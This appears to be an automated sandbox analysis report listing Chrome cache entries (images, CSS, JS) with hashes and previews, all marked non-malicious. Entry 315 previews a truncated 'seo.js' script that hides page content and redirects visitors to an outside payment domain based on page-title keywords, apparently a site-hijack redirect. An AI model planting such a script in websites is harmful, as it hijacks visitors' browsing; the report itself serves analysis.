window?window.innerHeight:document.documentElement.clientHeight},a}(),c=this.WeakMap\|\|this.MozWeakMap\|\|(c=function(

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4289
Entropy (8bit):	7.789590325432861
Encrypted:	false
SSDEEP:	96:b7aojpi2jTf+YM82Ca9lVDQAaGa8e2AYwlKJt4Sp:bDpl3faxlVD0PZ3bSp
MD5:	C7551802C34F011DF3E64436FAC6DA66
SHA1:	6939121E822D9B9F245BAC0FA473378F48D7EF5C
SHA-256:	EF50938BBCFB5B79EB6B27EECCB57F2EE90CAA55C8041567BD5A9CC59EEE1AD6
SHA-512:	F5EBD5AA64CD7F477E68F4DA18FDB92EFC5839CFBBB83E39387938B66EE115F85EB1C69D0C3AE6A4E4930B90D7BCA96C367217D1C18D3E15FBEE326F37D480D9
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/p2.png
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:D2321E60CA0D11ED957AEB68FEA728F8" xmpMM:InstanceID="xmp.iid:D2321E5FCA0D11ED957AEB68FEA728F8" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.T.....1IDATx..y.....{f...6.....A..c..q.jP(.5.(H4..1.....5....%Q..#!n.4.c\F..A..a.Y...e.q^.\|].t....R...U.zt.^n..

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	112926
Entropy (8bit):	5.087850336243859
Encrypted:	false
SSDEEP:	1536:jfDd7ZFjIcfhMmKcd3hVky6L3HmrIlTpwFUBQTvnv9XdQXugz3tNHXOovyNpruDP:jflFMmKY3TrwelftdnrKDYUs4g+K8J
MD5:	13163E877905A3652505897E724F0D14
SHA1:	CD37D3E9DCC37EB1A5C687996CD6B2E898005500
SHA-256:	82BD2447F0999E94130A4255524113B2E7744A66E5DE4C7858BF400E876FDDC1
SHA-512:	6368087AF2CD124615A5EBE8958B4869EA63924E77A2AAADE27D6E16F61B2A41E637219258A6FEAF1CA144E8D573D476CADAD77D7815C1A3EEC3F85E4A49F602
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/style/sichuang.shutime.css?v=0.574
Preview:	/. .Created by Edward on 23/03/13. .Copyright (c) 2023 ishutime.com All rights reserved./.* {..margin: 0px;..padding: 0px;..box-sizing: border-box;.}..@font-face {..font-family: 'iconfont';..src: url('iconfont.woff2?t=1663740079843') format('woff2'),...url('iconfont.woff?t=1663740079843') format('woff'),...url('iconfont.ttf?t=1663740079843') format('truetype');.}...pdfSwiper{. display: none;.}...vlightBox {..width: 100%;..height: 100vh;..position: fixed;..left: 0%;..top: 0%;..z-index: 200;..background: rgba(0, 0, 0, .5);..backdrop-filter: blur(15px);..padding: 0px 5%;..display: flex;..align-items: center;..justify-content: center;..overflow: hidden;..-webkit-transition: all 0.5s cubic-bezier(0.215, 0.610, 0.355, 1);..visibility: hidden;..opacity: 0;.}...inner-player video {..display: block;..width: 70%;..height: auto;..max-height: 80%;.}...pro_close {..width: 50px;..height: auto;..line-height: 60px;..text-align: center;..border: 1px solid rgba(255, 255, 255, .3);..padding: 17px;

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5725
Entropy (8bit):	7.833171607976203
Encrypted:	false
SSDEEP:	96:b7lofDt1ISU/yqcQVrWcPV/i8xENhmWrzTAlufSc4jYhQuf:bEB1u2QV7NaqE/mWXTAUScoYhQuf
MD5:	7AF7E111AD2F0CD701F04869A40577C6
SHA1:	AFC33ABBD839201F7A022400672B64BB183E1528
SHA-256:	B16E8D59DF70B518705E3DC0482776CF2C570796C1D8AA9B78EB0E55002BDFEC
SHA-512:	3B9C0A60C009E97FB5D8A5C2F02333352691BDC0A7BC07069A622A40358F988E9EDCA45069EC607310F6FEB3A337767B0DCB91793AA751758D27A557ADA24FCE
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/p4.png
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:1AFB391ACA0E11ED812383F134BAD846" xmpMM:InstanceID="xmp.iid:1AFB3919CA0E11ED812383F134BAD846" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......IDATx....U..o.SQP.." ...H.M..@l..QP...Q.1....n...8 QT.m.1......A.)$J.. .2.....,.......^.........t.J.._k.W

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22662
Entropy (8bit):	4.439084642069222
Encrypted:	false
SSDEEP:	192:OSAk6dvIcZTmHItCcaJK0DWLvqdbC7xHKjkk+qqyyZLl1tqK4XNvWEOIz4bA:x76dvIcZTmHIMcaUvw+9q4qKLNwdvWFA
MD5:	FDBCD303148C73517D4E401226D0A2BA
SHA1:	6E5D20E4407DBC4C20FBBC947511F8B8AE200D64
SHA-256:	43CAED6D6C5AB0400F74E3B42BE290C0597FBF8CDF98E5BC540DE986BDE0DE59
SHA-512:	F58D5BED1E2D5CC3F833DAA585678493388B763550A858370996B4466A6205CE96ED3B09F7998F0E30A1923DE48B1750D011EE03C321413A868B5C42A58D2FDB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs...............;ZiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2023-03-14T10:35:47+08:00</xmp:CreateDate>. <

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	38671
Entropy (8bit):	7.977751768400511
Encrypted:	false
SSDEEP:	768:Ft9WXATBeMvcxNAfgPTs0mGNp+k5HWxb+rxCc7sSLaz1RMF+E9Ht:DwXGEbAoPg0mGNpP2ugc7sSGz1iVt
MD5:	696B8B7CF03DF8867EF5429AB30ACE11
SHA1:	709A4C2ACD5C2B2FE5F97455758812051A5554BF
SHA-256:	494142939E1DF706963507D973CD170B0DFDA8AD0FB5611B5F7DBEA63A737E13
SHA-512:	8B2CA036501872C98970B158682785C927E23EDB276F3DCAA437704B1B87EF0CCBFEED4CB83E38822B1D1ED56E06732EA60A276700B1AA05FC130E087A4B9726
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/about3.jpg
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:6CF535E3C2DC11ED96068D4B32898E79" xmpMM:DocumentID="xmp.did:6CF535E4C2DC11ED96068D4B32898E79"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6CF535E1C2DC11ED96068D4B32898E79" stRef:documentID="xmp.did:6CF535E2C2DC11ED96068D4B32898E79"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (384), with CRLF line terminators
Category:	downloaded
Size (bytes):	4253
Entropy (8bit):	5.619072720693586
Encrypted:	false
SSDEEP:	96:qPEbjErE6REzEwNEcJaEZLWECEVEWxEvDEPIE1EmEfMV4lmrLtc4GAV:qwsaXvIk47YV
MD5:	723F2E2D555D638ED15F389CBCFD22AF
SHA1:	B5BB8FFA9EDA26449939B4CE7E0F00C4D7395580
SHA-256:	DB3982804886A75E9EF7890CE07B21014159ADB6435189C893DA0F50AF1B1581
SHA-512:	8D562C87D2457188C86380E78A27B868837980173E8391B08D45C23A1988C3CD18C85F1E6C77CC3CBFB6DBD2017D1A98D3C4D87F593D3FBF8A75CD7A1B71DB4E
Malicious:	false
Reputation:	low
URL:	https://www.uapp360.com/2023/seo.js
Preview:	.document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0}</style>');....function checktitle()..{...var fit=1;...var sou;...var title = document.title;.. if(title.indexOf("..")!=-1\|\|title.indexOf("js")!=-1\|\|title.indexOf("..")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf("pj")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf("..")!=-1\|\|title.indexOf("yh")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf("..")!=-1\|\|title.indexOf("yl")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf(

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	95520
Entropy (8bit):	7.613767446531355
Encrypted:	false
SSDEEP:	1536:G8PawH2+jcMSFnbHiCBG84P4L70vhjGvB8lIckoKyn0IvRVbD92UL37wfK1obc+B:G8PRW5bHlG84igvhj4Slyan0InkUL376
MD5:	98C3F25B02CB5C3712F25156698BC213
SHA1:	C1D8EE6946423AD094C5E1F02E811A2C26A9855D
SHA-256:	C7FAB806CC810BB004148BD2CE55180AF49B55976879AFD66D9AA99C43A37326
SHA-512:	F4A4CA4C57794A1A958607161BBB8C61416FBD7AC0FD9AD43AB971FF42ED253A5968007D66915BC5A210D465103AE5E16B028EB1D0C8BACFA272C6536E5DCA54
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/bg2.jpg
Preview:	......Exif..II*.................Ducky.......<......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:afa8a9e6-9716-4248-82b7-b3c757f3a879" xmpMM:DocumentID="xmp.did:63BB6235CA0811EDA583F125659C6B44" xmpMM:InstanceID="xmp.iid:63BB6234CA0811EDA583F125659C6B44" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5d380805-1f21-4355-953f-fb7accca78e0" stRef:documentID="adobe:docid:photoshop:bfa30e39-e5b9-6e4d-bbd5-a8407fc31f5b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d................................

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	71865
Entropy (8bit):	4.950096022980289
Encrypted:	false
SSDEEP:	384:7Gunuxy3g0u8urFBF6GyGmJE6yt0qmQGbeQsz/KIZQMcLces:7Gunuog0u8uIGyG7KIZQMcLces
MD5:	6D7D6C463DBFB14E376A9DEFEA2FD9B7
SHA1:	964B47AD53A44DD00C1692F140DC6783DD36F89B
SHA-256:	EA400610C6FB1F29DD37A63F7D0BE9FAC0F737259617DFD0EC920466F93B68FA
SHA-512:	B0C1B21F3BF758C501C616B60C913E0FDDDBB76958D0B006D6C500B1E4EE30B0E04E7C4901FC8F4F195B8516BAE12C834E3225CCAF5A5912CD0A926A9C1F03F5
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/lib/style/animate.min.css?v=0.574
Preview:	@charset "utf-8";..@-webkit-keyframes bounce {. 0%,. 20%,. 53%,. 80%,. to {. -webkit-animation-timing-function: cubic-bezier(.215,.61,.355,1);. animation-timing-function: cubic-bezier(.215,.61,.355,1);. -webkit-transform: translateZ(0);. transform: translateZ(0);. }.. 40%,. 43% {. -webkit-animation-timing-function: cubic-bezier(.755,.05,.855,.06);. animation-timing-function: cubic-bezier(.755,.05,.855,.06);. -webkit-transform: translate3d(0,-30px,0);. transform: translate3d(0,-30px,0);. }.. 70% {. -webkit-animation-timing-function: cubic-bezier(.755,.05,.855,.06);. animation-timing-function: cubic-bezier(.755,.05,.855,.06);. -webkit-transform: translate3d(0,-15px,0);. transform: translate3d(0,-15px,0);. }.. 90% {. -webkit-transform: translate3d(0,-4px,0);. transform: translate3d(0,-4px,0);. }.}.@keyframes bounce {. 0%,. 20%,. 53%,. 80%,. to {. -webkit-animation-timing-function: cubic-bezier(.215,.61,.355,1);. animation-t

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	5668
Entropy (8bit):	5.178128406961054
Encrypted:	false
SSDEEP:	96:Kmotx14AwuuGyw2GywujWM3ZShrBenX+/crlKZWMVFQDQvLdmhmj2+2RS3uoSX7Z:TotHuGwGkjWMJy6DKZWoFQDmLdmhmS0a
MD5:	5FC45B81932F5DD1A3E903AF29D94FF2
SHA1:	4004360CD2FD8A34C307FDB1EB930B52594953C7
SHA-256:	D0FB28A26FAB57AA2A20AACC0E7273E370D874DD0F2F90421C39E71F0B4AAC62
SHA-512:	2A0E889694603BE6F09F7D18CD8A2827271E40FACE7C0B01ABDE03BA887F35241D85F4F17A107BEBE04580C3F292810CCCDF1461263D9233AB3CF4AAC5CF9C80
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/lib/js/xlPaging.js?v=0.574
Preview:	var Paging = (function() {..function Paging(elementName, options) {...this.elementName = elementName;...this.options = options;...options.nowPage = options.nowPage >= 1 ? options.nowPage : 1;...options.pageNum = options.pageNum > 0 ? options.pageNum : 0;...options.canJump = options.canJump \|\| 0;...options.showOne = options.showOne \|\| 0;...options.buttonNum = (options.buttonNum >= 5 ? options.buttonNum : 5) \|\| 7;...this.nowPage = options.nowPage > options.pageNum ? options.pageNum : options.nowPage;...this.pageNum = options.pageNum < 0 ? 0 : options.pageNum;...this.canJump = options.canJump;...this.showOne = options.showOne;...this.buttonNum = options.buttonNum;...this.callback = options.callback;...this.element = document.getElementById(elementName);...this.init();..}..Paging.prototype.init = function() {...this.createHtml();..};..Paging.prototype.createHtml = function() {...var _this = this;...var content = [];...if (this.pageNum <= 0) {....return '';...}...if (!this.showOne && this.p

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 750 x 300, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	92549
Entropy (8bit):	7.970326802135275
Encrypted:	false
SSDEEP:	1536:h1QkCZ1R8L5NnuJFshoD0U/usMSr3k3+kVqnTDYYCrGkVv2LhsdZNyQWPG8v44RF:HQkCZza5N8aoD0Ufr3++Gq6G0OOXNej1
MD5:	A4F22A269A2B9FACE2D0ECFD66A198CD
SHA1:	4D57E3C7EED179340710258BA03A811FE44E9C4C
SHA-256:	6E06C4AD82AFD5F0055958E2B0A3D2B2DDF0908457DAEA3A461C02DDE68F5D17
SHA-512:	158EB09729B4B2E8732A8EFC14E5F24C3CBBB56544CCE3ED9B4629E8A64B54D048D081E0CB07133FBAB75C10CE28CF5ABF10A65282ABAB65002273A04216113B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......,.......6.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmpMM:DocumentID="xmp.did:D338F8A8C9F311ED9AA285EC21B9310B" xmpMM:InstanceID="xmp.iid:966e70b5-d354-1e46-8342-c7e2718c4c9b" xmpMM:OriginalDocumentID="xmp.did:D338F8A8C9F311ED9AA285EC21B9310B" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmp:CreateDate="2024-05-10T10:48:35+08:00" xmp:ModifyDate="2024-05-10T10:49:50+08:00" xmp:MetadataDate="

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 225 x 225, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	25189
Entropy (8bit):	7.9805933461176055
Encrypted:	false
SSDEEP:	768:cbMW6YCxbzQXOf6BOQEPs2ujQx1Hwt4gN3qMvH9lw6KViZSkQv:cb4xXQ+f6nEUOx10N6M9lwFu0
MD5:	A42023109686EE5B2324716B950D4E08
SHA1:	CD01D987CC95B9ED3CB9393DF5D0C55F2E6B6E2C
SHA-256:	5059133AB86BB2A4DAA456B867E4B505A17752E54BB599F458943E73E1FF566B
SHA-512:	1D6E23F9164EACD2152C2260121877478611D287309296C1F42DDBC27B6E82E8B6186CD8A811AA64F3B51377F912593F8A9CF453862935C4DEA0B50EDEB7871A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............E-....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:DE9C05C4D46811EDB57BA4DD3AC47B25" xmpMM:InstanceID="xmp.iid:DE9C05C3D46811EDB57BA4DD3AC47B25" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BC9AD8BBD46211ED8814B895D167161F" stRef:documentID="xmp.did:BC9AD8BCD46211ED8814B895D167161F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.....^.IDATx....$.u.v...-.L.f..A..D..EZ.e*$...........^(.!.Eq.).......{...\..d./.^Oc.=.z&.t.d........;.. .5.k.

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 63 x 63, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1893
Entropy (8bit):	7.3100830456630215
Encrypted:	false
SSDEEP:	48:jAvnLie/LFr8J3x+bg+ZWOpwtVycMMVG1w2adE7c:cme/RrW+kwWOKyvMVG1w2adE7c
MD5:	38F59D5B511FB9ED384061E1E50C764E
SHA1:	803F082E5E8CF30C3EAA6B310EC5D2ABD8D65349
SHA-256:	5FFAD1F57FBAE506ED4FF967DF3C62A0E99624D37EBD16BC72616E70494D3717
SHA-512:	4A9C82EB8065F92DC4D8A9226AE7B4B71EDD6F5C01787A13F148010E4C5CEB183DB49EE32EAD5801442A21FED20981BADE447B607646C4F43246AB82B8B3FA49
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511345_qc6Zg0KK.png
Preview:	.PNG........IHDR...?...?.....W_......tEXtSoftware.Adobe ImageReadyq.e<...niTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:F192E643C21011EDA718A96A79BB1567" xmpMM:DocumentID="xmp.did:0DB99986CA0A11EDBB8FF352D7D37CAA" xmpMM:InstanceID="xmp.iid:0DB99985CA0A11EDBB8FF352D7D37CAA" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:36e43f5c-4351-e240-9957-eac2528f1b5e" stRef:documentID="xmp.did:F192E643C21011EDA718A96A79BB1567"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..[;..A.....C.._.......F+..."

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3116
Entropy (8bit):	7.641446193006988
Encrypted:	false
SSDEEP:	96:b7Oloke8Y5fZ1knSwSy8P7tmqDx5XrId9iK6:b0e8Y5wn3Sy8xmCvXEd9if
MD5:	33DFF549E515E98E033BEF9223D16840
SHA1:	28D51F08E7AD71CC385C5B995164BD66E55C9B01
SHA-256:	FC03A7188CA1851554F2EB4FBA972858BDE199C3F1C654DC80DFE3AFD3DDBE22
SHA-512:	1BA5C0FABA794C0F40C5FC084F8C1D865446EF319C02C45A8F00719CFA8B2F4DF1DC3914F61F7E4B6CB003FC2AAF7F0C31B6CE0FA2CAC32FBDC42E6E71205AA0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:E0EED1A6CA1311ED837AD05E6408A0DD" xmpMM:InstanceID="xmp.iid:E0EED1A5CA1311ED837AD05E6408A0DD" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>E......IDATx..{.]U....PhK)P..D#.T... .)"... ..a..$.Bj ......!/E......A.0XD.R!.."U..P..`....e..o...s.=3.3.;.../

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 750x1200, components 3
Category:	downloaded
Size (bytes):	475127
Entropy (8bit):	7.987559263655837
Encrypted:	false
SSDEEP:	12288:bUbwE8UBQIIrsPrbN4P/sDr6y7wVZFcQd6hoDPl/Y2v:2EI8sDp4P/Sr6XFcdy
MD5:	A830C54988FFE93D628048CADA2E7B48
SHA1:	67D53C51F68B619568A5CBB749C9E0D46532F33B
SHA-256:	F32E8DED1B1C580B3ED12A07513754C57B7997DB9C706834DFB1B1F985B26CF5
SHA-512:	F0E38080C6604A2710A1896C32CC921920F9105BCA2A7222932396AA7D732B5B087175617B29CB66A6709E78747E1953D8D8C969A99A5DB801B8E739A46A23FA
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681712074_zK734O2g.jpg
Preview:	......Exif..II*.................Ducky.......P.....~http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:37217047-b8a5-4e2f-a1ee-3a4aa0a2cc99" xmpMM:DocumentID="xmp.did:840639E8DCE811EDA152EDE9B70BB693" xmpMM:InstanceID="xmp.iid:840639E7DCE811EDA152EDE9B70BB693" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:499917fb-7cd8-41b8-9337-fe4801de8e91" stRef:documentID="xmp.did:37217047-b8a5-4e2f-a1ee-3a4aa0a2cc99"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C.....................................

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 05:50:22.945051908 CEST	49675	443	192.168.2.5	23.1.237.91
